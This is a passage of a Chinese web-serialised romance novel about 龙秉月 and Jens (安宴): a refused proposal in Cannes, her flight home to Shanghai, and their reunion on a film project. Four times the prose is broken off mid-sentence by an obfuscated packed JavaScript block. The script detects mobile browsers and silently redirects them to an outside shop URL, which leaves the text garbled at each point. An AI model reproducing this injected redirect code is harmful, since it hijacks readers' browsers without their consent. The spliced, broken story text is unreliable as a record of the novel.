龙秉月的眼底蓄了一些泪,眼睛亮晶晶地看着安宴,嘴唇微动。 “亲我一下再走吧。”她说。 虽然她还没想明白,但不管是HE还是BE,至少她希望今天是HE的,而不是纯粹不欢而散。 安宴俯身浅浅碰了一下她的额头,说出比戛纳夜风还要冰凉的话:“从今往后我只和我老婆接吻。” 所以他拒绝亲嘴。 留下最后一句话,安宴找了件干净的外套穿上,就离开了。 只剩自己一个人,龙秉月从沙发上起身,进了卧室,才发现开了夜床。 他们住了十天,每天都早出晚归,从来不需要酒店的这项服务。 今天其实也不需要的。但是它开了。 床头柜摆上了花瓶,里面插着一束鲜艳欲滴的红玫瑰。旁边放了一小盒马卡龙和水果。 有的人走了,他的安排还留在这里,无时无刻不提醒着她。 龙秉月上前拿出一个马卡龙,今晚劳心费力的,她正需要补充能量。 好奇怪,平时她明明觉得特别甜的东西,今天尝在嘴里却没什么滋味。 在露台上吹风,楼下依然是同样的喧闹,但气氛和前些天有点不同,轻松了一些,也惆怅了一些。 她闻得到快要结束的气息,这一年一度的盛会。 于是她打开手机,想靠电影节转移一下注意力。 然而此刻中国是凌晨,她收到的都是欧洲的消息。 中国影迷群图文直播了晚上的颁奖典礼,中间乱入了她和安宴接吻的照片,但很快被主竞赛奖项预测的话题刷了过去; 余嘉怡好奇地问安宴怎么没出现在采访,她也一直不回微信,他们是不是偷偷摸摸干什么去了; 研究生同学和在别的欧洲国家读研的本科同学,旁敲侧击问她是不是在戛纳,似乎是通过直播认出了典礼上的她…… 无处不在。安宴无处不在。 就算没人议论他,她闭上眼睛,想到的也都是他。 最终,龙秉月心一横,把选择交给命运:如果明天回哥本哈根还有机票,她就改签离开,逃避安宴交给她的难题。 明天是电影节最后一天,大批人离开的日子,早在他们买机票的时候余票就很紧俏。她在掷硬币前其实是知道自己想要哪面朝上的。 可惜,天不遂人愿。 龙秉月没忘记她来戛纳也有打工的任务,在微信上找小老板蒋天然请假。 【蒋老师对不起,我学校临时有事要提前一天回去,明天可能没法在现场帮忙了,如果有需要我可以远程干活~】 offer还没捂热乎就请假,再加上编造理由,她心里十分忐忑不安。 好处是,这份忐忑让安宴在她心中淡化了不少。 她焦急地等待回复,在房间内踱来踱去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104840|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而对方似乎很忙,一直没有回。她难免悲观地想,自己是不是又让人失望了。 一个晚上,让两个人对她失望。 原来不是安宴淡化了,是她的悲伤加倍了。 又过了一小时,她洗澡、吹头发、收拾行李后,蒋天然的消息终于来了。 【没事你走吧,学业要紧,万一你没拿到毕业证我们还得再招人,岂不是得不偿失。】 【你这几天干得很不错,不准跑路去别的公司啊!】 呼……龙秉月心里松了一口气,没被骂,反而被夸了。 被求婚的时候她没有落泪,听到“结婚或者分手”的时候她没有落泪,安宴离开的时候她没有落泪,在这时候,她落泪了。 - 次日上午,龙秉月轻装上阵,只背着双肩包离开了戛纳,坐上开往尼斯的火车,她将在那里换乘飞机回哥本哈根。 至于剩下的行李,就交给安宴来收拾吧,是他自己留下的烂摊子。 当她看待世界的视角不同,世界也变得不同了。 哥本哈根不再是熟悉的哥本哈根,安宴家不再是熟悉的安宴家,伊莎贝拉不再是熟悉的伊莎贝拉。 她惊讶地看着一个人回来的龙秉月:“怎么只有你一个人,Jens呢?” 他们原定后天才回,特意避开人流高峰。 龙秉月拿出早就准备好的说辞:“我学校有点事,就先回来了。他电影刚拿奖,肯定要忙。” “他是不是疯了,电影能有你重要?!” 伊莎贝拉言语中的不满太明显,龙秉月敏锐地察觉到她话中有话:“什么意思?” “哪有人求婚第二天就放未婚妻一个人的,他太过分了。但你别难过,我站在你这边。” 龙秉月彻底凌乱了,信息量太大,她一时间难以消化,堪堪维持住面部表情,麻木地问道:“求婚……你知道?” 伊莎贝拉显然不知道她没答应求婚的事,美滋滋告诉她:“是呀,我们之前一直配合他,假装不知道你们在谈恋爱。他说等他从戛纳求婚归来,就可以公开了。” 所以……所以……他们全家一直都知道,只有她被蒙在鼓里。 现在回过头看,很多曾经觉得奇怪的事情都变得明晰。 他们像家人一样对待她,圣诞节也想等她回来一起过; 她有很多疏漏,他们却能完全不发现,绝对不是钝感,只是装作不知情; 伊莎贝拉去安宴房间门口找他,两个丹麦人说的却是英语,想来是说给屋里的她听; …… 他们早就发现了,但因为她想保密,安宴便让全家人配合她,专门为她创造了一个小世界,他的人设和感情线发展都按照她希望的来。 他全家都是演技派,给她演了一出《皇帝的新衣》。 她以为自己遮掩得很好,最后才知道,根本从始至终一丝-不挂,被人看了个透。 但她还是要确认一下:“你们是什么时候知道的呀?” 伊莎贝拉好奇道:“Jens没给你说吗?” “嗯,昨天太激动了,没来得及说那么多。” 龙秉月想,她真坏,说谎成性了。一旦艰难地编造出第一个谎言,后面就轻而易举了。 “第一次见你那天他就说喜欢你了。那是我第一次听他说喜欢谁呢。” 伊莎贝拉以为自己在助攻,说安宴的好话,全然不知她是在帮倒忙。 第、一、次、见、那、天。 龙秉月石化了。合着他家人比她知道得还早,早得多得多。 “那家教只是……”她有点绝望地求证。 “当然不是!”伊莎贝拉毫不犹豫,“我是真心喜欢你,真心热爱中文,你知道的。” 龙秉月扯出一个灿烂,却没有灵魂的笑容:“嗯,我知道的。” 50. 第五十章 屁股还没坐热,龙秉月就又要背着双肩包跑路了。 她只去楼上房间里简单收拾了一些必需品。至于其它物品,就在这里留着吧,日后有机会再回来。 如果没有机会,那么……算了,先不想了。 她在编造借口这件事上已经驾轻就熟:“朋友让我帮忙代购了戛纳电影节周边,我去给她。” 伊莎贝拉点点头,像平时一样开心地和她说拜拜。 龙秉月现在什么都要打个问号,不再轻易相信安宴家人所表现出来的样子。万一他们又是在配合她演戏呢? 但不管伊莎贝拉的表现是真是假,她能顺利溜走就好。这一刻,只有结果是重要的。 她装作轻松地出了门,迈着慢悠悠的小步子,行走中带着雀跃的蹦跳,背影写满了即将和朋友见面的开心。 一百米后,等别墅从视线中消失,她猛然狂奔起来,跑到地铁站才停下。 好狼狈。 她都跑这么快了,狼狈还是追赶了上来。 追上来的不止狼狈。 龙秉月忽然想起,陷在温柔乡的时候,理智开关关闭,她爱说一些不讲逻辑的傻话,却当是动听的情话。 有一次,她问安宴:“如果我们身体交流的速度足够快,比如说,接近光速,是不是可以让时间停下来,永远享受二人世界?” “不行,”安宴面色严肃地回她,“根据相对论,接近光速时,不仅时间会变慢,物体在运动方向上的长度也会缩短,也就是会这样——” 他们当然没本事接近光速,让时间停下,但他们共同制造的回忆有本事从那天穿越到此刻,击中她。 告诉她,跑远也没用的,无论如何都逃避不了。 可是,并不只有她在逃避或拖延,这么久了,安宴也没有找她不是吗? 他肯定发现她离开戛纳的酒店了,也应该从伊莎贝拉那里听说她回到哥本哈根了。 他给出了“结婚或分手”的残忍单选题,就算她弃考跑了,他好歹也要出来宣布一声她拿到零分吧。 龙秉月几乎一刻不断地盯着短信界面看,期待中的正在输入状态一次不曾出现。 安宴根本没有进行任何尝试。 她又在期待什么呢?期待安宴说“好,那就继续谈恋爱,忘了我求婚的事”,还是给她一个确切的结论“我们分手”? 矛盾已经堆在眼前了,这个恋爱又要怎么谈。 唯有即将异国的事实不会改变,也是她唯一能够把握的事实。 - 龙秉月来到她和喻琳租住的公寓,第一件事是打开app订机票。 明天回中国的机票。 喻琳在毕业旅行中,不在家,刚好龙秉月比起朋友的怀抱,更需要一个人独处。 她的论文通过了,毕业证和学位证可以日后邮寄,也会给电子版,学业上已经不剩什么必做事项,她明天就可以回国,没有后顾之忧。 之前她在公寓里准备了不少东西,保证随时都能拎包入住。她甚至还在这里放了个20寸登机箱,真叫现在的她感叹,太有预见性了。 收拾完又洗漱完,才不过七八点。哥本哈根又到夏天,白天漫长得仿佛没有尽头。 龙秉月躺到床上,准备提前开始倒时差。 睡前又看了看安宴各平台的账号,依然没有任何消息。 她还是没忍住,在他们互关的短视频平台上发了一条“月上柳梢头,人约黄昏后”的配乐图文。 她先退一步暗示他,看他会不会留出缓和的余地。 切到微信,选择了免打扰也仍无法忽视的[999+]群消息,让她恍然意识到,戛纳主竞赛的颁奖典礼正在火热前奏中。 才过了短短一天,属于她的场景就从和伴侣一起走红毯,变成了孤独寂寞冷地躺在单人床上。 真的只有一天吗? 龙秉月点进影迷群里分享的视频直播链接,没错,是那些名字的电影,是她参加过的同一届,时间真的只过了一天。 一天,不是一年。 嘉宾都已入场完毕,她看不出来安宴是否在场,便又退出直播,在群里和社交媒体上搜索新鲜出炉的红毯照。 她看到他了——换了新的一身西装,对镜头笑得和昨天同样明媚,丝毫看不出失意。 他朝红毯两侧的媒体和影迷挥手致意,中指上的戒指还没有摘下。 然而,然而,他同时给另外几根手指也戴上了戒指,这些戒指便都成装饰性作用的了。 龙秉月心情的起起伏伏,在刷到朋友圈的时候彻底伏下去了。 那是她的一个大学学长: 【今年情人节,前女友拒绝了我的求婚,我们分手了。我从东南边来到西北边,原以为逃再远也逃不开往事,没想到短短三个月,就被这里治愈了。 除了爱情,人生还有很多值得的事。】 定位是天山脚下。 所以大家都是这样吗,如果目标不一致,一个人想步入婚姻,另一人只想恋爱,最终的结局就会是分手,而求婚是关系的转折点。 龙秉月也说不清眼泪为什么突然开始涌流,她究竟怀着怎样的心情,还是说身体太迫切希望提前倒时差,却因为睡不着而不得不发动大哭技能,哭累了就容易入睡了。 就结果而言,她确实很快睡着了,只不过起床时间,依旧遵循着哥本哈根时间。 睡了十几小时,补上了戛纳缺的觉,疲惫却没有减少,眼睛也肿成了核桃。 她买的机票是傍晚6点起飞的,北京时间第二天上午落地,刚好适合在飞机上再睡一觉。 为了避免以哭肿的双眼遇见熟人,更为了避免碰到安宴,龙秉月帽子口罩齐上阵。 她清楚这样打扮更可疑,但是没关系,被误认为名人或怪人总比被认出好。 她的运气不错,一路上谁都没遇到,航班也没有延误,乘客还非常少。虽然她买的是经济舱,但平均下来一个人能享受三个座位,飞行平稳后,她能舒舒服服躺着睡了。 唯一不太顺的一点,是她过完机场安检后,不可避免地看到皇家哥本哈根的店面。字母马克杯和月牙餐盘,都摆在畅销品的位置。 明知触景生情,她仍然情不自禁地走过去,看了它们好久。 去年在走街旗舰店买来送给安宴的时候,能料到今日光景吗。 好不容易有些消肿的眼眶,又红了起来。 - 安宴回到哥本哈根,刚一进家门,就迎来全家人的质问:“你怎么才知道回来?活该你求婚失败。” 安扬继续嘲笑道:“哥哥真是恋爱白痴,让你以前不多积累经验,现在不会追妻了吧!” 她向来直呼安宴大名,这会儿难得说了“哥哥”,更像在阴阳怪气。 所有攻击对安宴都无效,他满不在乎地说:“今天回来算晚吗?我觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130036|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得刚刚好。” 说罢,他直接从家人中间穿过,上了二楼。行李箱暂时放在走廊,人先进了龙秉月的房间。 几乎和他们离开前一个样子,看起来什么都没动,仿佛压根没回来过一样。 但他知道真相,知道这样的场景更适合冠以“落荒而逃”之名。 她究竟有多害怕面对那个二选一的难题,逃离戛纳就算了,逃离他家也可以理解,逃离丹麦…… “儿子,你到底怎么想的?”得,伊莎贝拉也开始管他喊儿子了。她跟着他上来,在门口问道。 “你中文学得怎么样了?”安宴掀起眼皮看向伊莎贝拉,转移话题反问。 她立马把语言从丹麦语换成中文:“我可以用中文和你说,来吧。” “‘不破不立’这个成语听说过吗?” “当然!” “嗯,就这个意思。要给她时间自己想明白。” “万一她想明白,不跟你在一起更好呢?” “没有这个答案。”刀子从安宴的眼中飞向伊莎贝拉,“我去中国就行了。” 伊莎贝拉皱眉:“去中国?” 她知道两个人恋爱的事,思维惯性使然,以为龙秉月会留下来,和安宴一起生活在丹麦。 “对,她回中国了。”安宴说。 “你怎么知道?”伊莎贝拉有很多问题,比如你怎么去中国,免签才能待几天,旅游签又能待多久,这是长久之计吗,你在欧洲的事业怎么办。 但她最好奇的是,你们不是没在联系吗,怎么连行程这么隐私的事情都知道。 “我在机场看到她了。” “不能是去旅游吗?” “她过海关了。” “你怎么知道得这么清楚,不会是安了跟踪器吧?!” 伊莎贝拉认为自己的怀疑不无道理,安宴见过龙秉月一面,就能使计让人住进家里,如今爱到变态也有可能。她好心相劝:“违法的事不要做呀!” “……” 自己在亲妈眼里的形象真是非同一般。 但安宴不得不感叹缘分的奇妙。 下午飞机停靠在廊桥,下来后走一段路,到了分岔口。 一边通向行李转盘,一边通向安检之后、海关之前的候机区。 他本该拐去行李转盘,却突然福至心灵,走向了候机区的购物街。 法国到丹麦属于申根区内的旅行,不设边境检查。下机的乘客就算没有转机机票,只要愿意多走几步,也可以到购物街上买东西。只是不能免税。 然后再原路返回那多走的几步路,去提取行李。 走近后,他一眼看到了精致的皇家哥本哈根店面。那家店和以往一样,顾客并不多,因而那一抹熟悉的身影尤为显眼。 她背着去戛纳背的同一个双肩包,拉了一个他没见过的小箱子,是要去哪里? 安宴原本下定决心等龙秉月先来找他,在宛如神迹的这一刻动摇了。上帝把她送到他面前,怎会是让他坐以待毙的。 他刚激动地迈出一步,又硬生生停下了—— 龙秉月掏出了一条手帕来擦泪。是前天晚上他帮她擦裙子的那条。 她一下子从戛纳消失,他自然没心情细致检查行李,到这时才发现她几乎什么都没带走,却带上了他西装口袋里的手帕。 而且,她哭了? 在机场的商店,在大庭广众之下。 51. 第五十一章 “你会开车吗?有国内驾照吗?”工位对面的蒋天然冷不丁问道。 周五下午,被上司问这样的问题,龙秉月自然不会有好的预感。 但她才刚入职不久,上个月在戛纳又请了重要日子的假,也不好找借口开溜,于是诚实回答:“会,有。” “是晚上接机的事……”蒋天然顿了顿,“你能去一趟吗?外方剧组本来说今天到四个人,又变成五个了,现在一辆六座商务车坐不下,之前安排去接机的实习生又不会开车。” 所以需要找一个会开车的职级低的人,也就是她龙秉月,自己开车去机场接机,再跟着商务车把贵客送到酒店。 还好,只是原定的车上没她的位置,不是让她去当五个人的司机。 “可以算你一天调休。车开我的,下周一再开回公司就行。” “好啊,没问题。”龙秉月没有拒绝的理由。 听起来不错,航班晚上7点落地,她可以5点多提前下班,顺利的话9点就能把人送到酒店。小半天的工作时间,换来一天的调休,多诱人的条件。 回国十天了,入职也超过一星期,新新社会人的工作在有条不紊地推进着。 之前拿offer时协商的入职日期在六月中下旬,但前期会有线上的工作。而她刚回国就联系了蒋天然,问能不能提前入职,试图通过工作来忘记她和安宴正在冷战这件事。 从求婚那天到今天,他们已经两个星期没有联系了。 起初她还会在两人互关的各个平台上发动态找存在感,但对方完全视若无睹,她便放弃了。 甚至开始给自己洗脑:说不定安宴是想甩开她,才找了这么个方法,让她主动放弃,还能给他自己留个深情人设。 他果然懂她,她这不就遂了他的意,立马逃回中国了吗?相隔半个地球,轻松断个干净。 ——这个视角来自龙秉月的高中同学邬昀。 她回来得太急,没空找房子,又不想回家跟爸妈住,就先借住在了闺蜜家,聊天中吐露了自己的感情状况。 爸妈……对,她又和家人身处同一城市了,但是还瞒着家人没有说,能撑多久就多久,尽可能推迟冲突的爆发时间。 说来之梦也是非同一般,总部没有设在影视公司云集的北京,而是在她的老家上海,构成了当初令她觉得“这个职位非我不可”的理由之一。 龙秉月目前的工作尚且轻松,接下接机的工作后,在电脑桌面打开了相关项目的资料,看着看着就开始神游。 游着游着被蒋天然的提醒打断:“之前发你的资料再熟悉一下,晚上别认错人了。欧洲白人容易脸盲。” “嗯,我正看着呢。”她乖巧道。 这是公司新启动的中法合拍影视项目,正式片名待定,workingtitle是《灰烬》,预计六月底开拍。 现在是六月初,外方工作人员会陆陆续续抵达,进行一些开拍之前的工作。 今天她要去接的四个人,哦不,五个人中的四个,分别是导演、编剧、美术和外方制片人。 至于第五人,由于太临时,资料还没给到她。 接机牌上也只有四个人的名字。 巴黎来的国际航班19:05到达,龙秉月早早从公司离开,提前一个多小时到了浦东机场T1航站楼。 在机场吃了晚饭,又百无聊赖地玩了一小时手机,终于等到他们一行人拿了行李出来。 经常接机的人都知道,就算双方没见过面,在到达口相遇的时候也会迅速认出彼此,根本不用担心接错人。 更别说,这次来的有国际名导雅克·迪布瓦。 龙秉月一眼就认出了他,只是…… “你们不是有五个人吗?” “对,是五个没错,都在这儿呢。”雅克信心十足道。 一、二、三、四,龙秉月又数了一遍,晕了。第五个见鬼了吗? 法国人你们说99都要说4×20+10+9,不是应该很会数数才对嘛! 龙秉月努力耐心解释:“你看,这里有两位女性,两位男性,二加二等于四!” 同时自我催眠:这是大艺术家,不要用常人眼光来看待。 “哦……还真是。”雅克恍然大悟,扭头问另外几人,“那家伙呢?” “我在这里,雅克。” 一道声音自后方传来,众人纷纷看过去。 声音响起前龙秉月正要摆出捶胸顿足的姿态,刚刚做出微微仰头的动作,就被这道声音定格了。 怎么会……是他。 她回国的第二天就去剪了短发,不到10厘米的超短发,烫了卷,挑染了紫色。 剪断青丝当然不能顺便剪断情丝,但换发型的确有助于转换心情,每天照镜子时可以产生“新的自我”的感觉。 而此时时刻,这道声音宛如咒语,让她的头发疯长,看不见的黑长直发缠绕住她,施咒者伸手一拉,就把她拉回过去,拉到他的身边。 “不好意思,来晚了。”第五个人有礼貌地道歉,然后自我介绍,像是没认出短发龙秉月一般,“你好,我是JensAndersen。” 龙秉月的主观时间变慢了,心里默念一二三,眨一下眼睛要三秒。 五月的情况她还没梳理清楚,六月的新情况就翩翩而至。 这算什么事。 安宴三星期前才知道她即将入职的公司,但这个项目至少三个月前就敲定了,开始走各种报批流程。他绝对不可能在短时间内加塞进来,拿到中国的工作签证。 再说,戛纳期间他们天天在一起,她根本没见他有任何动作。 排除掉所有不可能的情况,剩下的就是真相:安宴为了她找了中国的工作,项目合作方凑巧是她所在的公司。 他在前,她在后,就算要怀疑其中的人为因素,也该是他怀疑她提前知道了消息,才投之梦的国际合作岗。 她本应大为感动,可是他瞒了那么久,甚至不惜冷战也不告诉她。明明他手握C的选项,却非要她在A和B之间选择。 想到这里,她心里又不是滋味了。 龙秉月有口难言,只好学着安宴保持距离,假装不认识:“你好,叫我Bing就可以。” 公司的外国合作方多,要求员工必须起一个英文名,除非本身中文名的拼音顺口好读。 她叫Bingyue,怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151055|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没几个外国人能读对。但她又不想完全迎合,干脆摘取名字第一个字的拼音,当作自己的英文名。 Bing也是微软必应搜索引擎的名字,充分体现了底层员工有求必应、做牛做马的精神。 “接你们的车在停车场,请跟我来,大约走五分钟就到了。” 到了车旁边,又出现新的问题。 雅克提议:“既然有两辆车,为什么我们五个不分开坐呢?” 龙秉月很想说:既然你是个生活上的笨蛋,为什么不闭嘴呢? 但她只能深呼吸一口,解释道:“专门为你们准备的六座商务车更舒适,我开的车比较,呃,比较破。” “你们想怎么坐?”雅克征求其他人的意见。 安宴率先发话:“我坐商务车。” 然后看也没看龙秉月一眼,把行李箱放到后备箱,就上了车。 最后,四个人坐商务车,而编剧凯瑟琳主动上了龙秉月的车,理由是怕她孤单。 她还好心安慰道:“Jens那样子不是冷漠,他只是会和所有女性避嫌,尤其是你这么美丽的女性。他刚刚才在戛纳公开了恋情。” 龙秉月心说:谢谢你,他恋情就快没了,用不着避嫌了。 也感叹,这发型果真让她变了一个人,没人认得出戛纳安宴身边的人就是她。 而表面上:“没关系,工作嘛,不带感情最好了。” 公司给订的是L酒店,位于江畔。既有江景可欣赏,也方便去公司开会。 她平时上班就在相距不远的写字楼里,每天都感觉误入金融中心,仿佛他们不是做影视,而是搞影视投资的。 两辆车一前一后停在酒店门口。龙秉月和凯瑟琳一起下了车,熟稔地把钥匙扔给礼宾员:“帮我停到停车场,谢谢。” 然后小跑上前,为几个人带路。 安宴第一个上车,最后一个下车,拿行李的时候听到礼宾员接过钥匙时,说了一句话。 肯定是说给龙秉月听的,她走远了可能没听见,但他听得清清楚楚。 ——“好的,大小姐。” 在前台,龙秉月帮他们办理入住的时候,表情也不太对劲,似乎一直在瞪酒店经理。 安宴心中的疑惑越来越深,拿着房卡走到电梯口又对另外四人说:“我好像有东西落在前台了,你们先上去。” 去而复返的选择是正确的。 龙秉月和经理坐到了前台对面的沙发上,她背对着电梯的方向,没看到安宴过来,正双手合十朝着对面的人撒娇: “拜托啦老张,你就当今天没见过我。大家一起保密,他不知道当然不会追责。好不好嘛。” 经理却瞧见了越来越近的他,于是龙秉月的目光也顺着看了过来。 眼里一开始写着惊慌,下一瞬又变成迷茫,紧接着恢复淡定,猛地站了起来,带着英勇就义的表情,好像刚刚下定了艰难的决心。 她轻快地跑到他面前,眼神亮晶晶地看着他。 “老公!你怎么不去房间,又回来啦?” 像被夺舍了一样,疯劲儿从表情动作蔓延到言语。 话明明是对他说的,说完却看向酒店经理。 52. 第五十二章 龙秉月扭头对张经理笑笑,一改先前的坚持:“算了,随你吧,我们要上楼休息了。休息,明白吗?” 她随即挽上安宴的手臂,催促他快走。 心里隐隐有“报复”的快感——你害我搞不清楚状况,我也要让你懵一下。 进了电梯,她不说话,脑袋靠在安宴的胳膊上。 电梯有两面装了镜子,侧过头悄悄看过去,会发现强装冷漠一言不发的人,嘴角不自觉扬起一个弧度。 龙秉月心里松了一口气。好险,他没有甩开她。 公司给外方工作人员订的是豪华江景房,大面落地窗展示着外滩的缤纷景色。龙秉月见过很多次,但也很久没见了,进门后目光被短暂吸引了去。 紧接着身后传来“咚”的一声,安宴简单粗暴地把行李箱横放在地上,挡住了门,好像怕她灵活地溜走似的。 有了戛纳和哥本哈根的两次前车之鉴,他不会再轻易放走她,何况这次是她自投罗网。 “你又在玩什么把戏?”安宴自己也靠在了门上,开口时前面的人刚好循着声音转头,问完问题时她又恰好全身转过来站定。 “哦,原来你认识我呀~我还以为你没认出来呢。” 酸溜溜地说完,龙秉月就近坐到了书桌前的椅子上,用行动表明自己没打算溜走。 安宴信步走来,把她从椅子抱到桌子上,双手撑着桌沿,禁锢她在怀里。他的嘴唇动了动,最终却是一言不发地看着她。 龙秉月以为他要问她是不是又在演戏,又要他配合。她想好了回答,却没等来问题,自己憋不住先问了出来:“你没有问题要问我吗?” 安宴一只手抚上她的头发,五指一点一点插进去揉搓,把烫卷的发揉得更卷。 “怎么把头发剪这么短?”比他的头发还短了。 温度从掌心传到头皮,融化了她试图变得坚硬的心。 在外面的时候,她尽想着怎么避免被家人发现自己回国了,现在只剩他们两人,心里的思念漫溢出来。 之前想过的放弃、脑补出来的他不要她,统统不作数了。 接受他就像接受氧气一样自然,是她的本能。 尤其是在憋气之后,更是渴望大口呼吸。 龙秉月抱住安宴的身体:“我一看到自己原来的样子就会想起你,所以换了完全不同的发型。” “……我好想你。” “想起我不好么?”安宴单手轻轻回抱,搂住她的肩。 “我以为你要分手。” “我早就说过,不会和你分手。” “可是你只给了我两个选择,还一直没有理我。”要么结婚,要么分手。 “嗯……”安宴没有否认,也没有改变想法,“你选好了吗?” 当然没有。本来就没有,现在更选不好了。 龙秉月之前以为,他明明有ABC三个选项,却只让她在AB之间选; 现在她更进一步意识到,事实是他有ABC,只给了她AB,其中B还是无效选项。 真是好霸道。吃定了她会选A吗? 想到这里,她松开安宴,抬头看向他:“我还没问呢,你背着我找中国的拍摄项目?” 光明正大一点,就用不着经历这场冷战了。 安宴反问:“你不也背着我找中国的工作?” 龙秉月自知理亏。他们的行为相似,但出发点不一样:他是为了离她更近,她则没有怎么考虑他,自顾自地远离他所在的地方。 “行吧,扯平了。”她悻悻地说,其实心里没有底气,“那……你为什么要加入这个项目呢?制片人邀请的你吗?” “这还用问,显然是为了你。没人邀请,我自己找上门的。” “可你又不知道我会回国,要是我留在丹麦呢?”她倔强地继续求证。 暂时异国几个月,然后他就回去了,问题不大。但他说出口的话是:“别假设了,你没留。” 龙秉月默默垂下头,没再看他。 她很想继续问,这部电影拍完后他有什么打算,会为了她继续找中国的项目吗? 如果到时候他们依然没有法律意义上的关系的话。 知道了他会为她来中国,愿意长居在中国,她反而更难抉择了。如果仅仅因此就改变对待求婚的态度,那她未免也太……自私了。 如果至此仍然不改变态度,不顾对方千里追人,似乎同样是自私的表现。 她好像走进了一条死胡同。 沉默之中,安宴望着龙秉月的头顶,叹了一口气,做出让步:“好了,别纠结了,不选就先不选。等电影拍完再告诉我你的答案。” 她得到了几个月的宽限期,不过…… “这样的话,可以接吻了吗?”龙秉月当下最关心的是这个。 求婚那天,安宴说以后只跟老婆接吻,拒绝了她的索吻。他等了这么多天,还要再等几个月,他忍得住吗,应该忍不住吧。 反正她已经忍不住了。 安宴一闪念,所以这是一个突破点? 他当时这么说,并没有真的打算贯彻执行,现在倒觉得很有必要了。忍一时,换来后半辈子的幸福,没有更划算的买卖。 “不可以。”他这么说着,却双手捧上龙秉月的脸,俯身凑过来,带给她即将接吻的错觉。 置身于安宴营造的暧昧假象中,龙秉月的大脑不争气地分泌了多巴胺。 同时也清醒地明白—— 不能接吻,算哪门子的恋爱? 她单方面认为冷战仍在进行中。嘴冷,要互相摩擦升温了,才算解冻。 龙秉月“哼”了一声,一把推开安宴,走到窗边,望着江畔步道上密密麻麻的游客。 明明是高层建筑,玻璃却维持得如此干净,她差点撞上去。 这次幸好是差点,而小时候,她真的撞上去过,在玻璃上留下了一张人脸的印记。 “你换家酒店住吧。”她越想越生气。 “大小姐,这是你公司订的。”懒洋洋的欠揍语气。 龙秉月猛地扭头看向安宴。他怎么连这个尴尬的称呼都听到了。 “我以为我在你家人面前是‘未婚夫’的形象,结果其实见不得光,连自家酒店都不能住?” “不是,我是担心……” 龙秉月刚想要解释,一通电话打断了她。 “现在,来停车场。”来电者的命令简洁、有力,透着不容拒绝的权威。 停车场? 好端端的办公室不去,什么话非得在车上说?怕不是等她一上车,就锁上门强行把她拉回家。 “不去。”龙秉月拒绝道,“除非你让我坐驾驶座。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174994|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她其实可以不加后半句的条件,直接不去就行了。但她看了一眼时间,从踏入酒店大门到现在,不过才23分钟。 考虑到周五晚上的路况,对方一定是接到通知就马不停蹄地赶来了。 情况可能比她想象中更加严峻。 她是习惯了,可是安宴也在这里。就算两人是某种程度上的共同体,她也不能牵连他,更不能因此耽误他的工作。 她得趁早解决掉这个麻烦。 两人之间的矛盾尚未解决,决不能让外人掺和进来捣乱。 “好,我过去。你不准趁我离开搞小动作。” 挂断电话,龙秉月指了指堵着门的行李箱:“我可以出去一趟吗?” “我爸来抓我了,我去赶走他。如果我不下去,他就要上来搞事了。”她没打算瞒着。 “我陪你一起。”安宴听到了他们的对话,自然不会让她一个人面对。 “别。相信我,目前的情况更适合我一个人解决。也相信我,我会回来的。” - 不到20分钟,龙秉月就回来了,直接刷卡开的房门。 “你什么时候偷拿了一张房卡?还是说,大小姐有万能房卡?”安宴说笑完,才注意到她满脸泪花。 “怎么了?”他没有多想,下意识把她拉进怀里,关心她,为她抹去眼泪。 身体贴在一起,他敏锐地感受到她裤子口袋里装着一个方盒,硌到了他的腿。 他没来得及问那是什么,龙秉月先开口:“我改主意了,你别换酒店了,就住在这里。” “好。”面对这样脆弱的她,再过分的条件他都能接受,何况他本来也没打算换。 “还有……帮我个忙。” “好。” 龙秉月从口袋里掏出盒子,声音还残留着一点哭腔:“今晚,用掉五只。” 安宴看清她手里的东西,喉结动了动,闭眼拒绝:“你现在这样的状态,不行。” 刚才结论下早了,他尚有理智,不是什么条件都能接受。 “我不是要和你做,是想要你自己用完五个。”龙秉月语出惊人,“可以吗?” 很难说哪种更荒谬,不解决矛盾先大战五场,还是女朋友见了家人后突然生出前所未有的恶趣味。 